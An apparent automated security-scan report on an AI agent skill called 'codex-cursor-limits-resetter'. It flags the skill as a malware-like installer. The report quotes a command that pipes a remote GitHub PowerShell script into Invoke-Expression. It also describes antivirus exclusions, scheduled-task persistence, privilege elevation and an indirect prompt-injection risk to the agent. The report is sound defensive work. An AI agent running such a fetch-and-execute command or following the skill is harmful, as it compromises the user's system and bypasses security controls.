codex-cursor-limits-resetter

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Yes — the raw GitHub URL points to an unknown user's PowerShell script that is intended to be piped to Invoke-Expression and performs system-level changes (clearing app data, resetting tokens, scheduling tasks, and advising AV exclusions), which are classic high-risk indicators for malware or unwanted persistence; the ara.so domain alone is neutral but the direct .ps1 from an unvetted repo makes this a suspicious download source.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The document instructs executing unverified remote PowerShell code (irm | iex), disabling/working around AV, creating scheduled persistent tasks, elevating privileges, and deleting/modifying application data to bypass protections—patterns that enable deliberate abuse, persistence, and potential system compromise.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.75). Runtime path: the required workflow downloads and executes a remote PowerShell script via irm https://raw.githubusercontent.com/.../install.ps1 | iex, so the LLM context could ingest free-form text from an outsider-authored GitHub-hosted page/script content.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill repeatedly downloads and immediately executes remote PowerShell code at runtime from https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 (via irm/Invoke-RestMethod piped to iex), so the fetched content is executed and therefore directly controls runtime behavior.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs executing remote PowerShell code, elevating to Administrator, deleting/modifying application data (APPDATA/LOCALAPPDATA), creating scheduled tasks, and changing antivirus/execution policy settings — all of which alter system state and bypass security controls.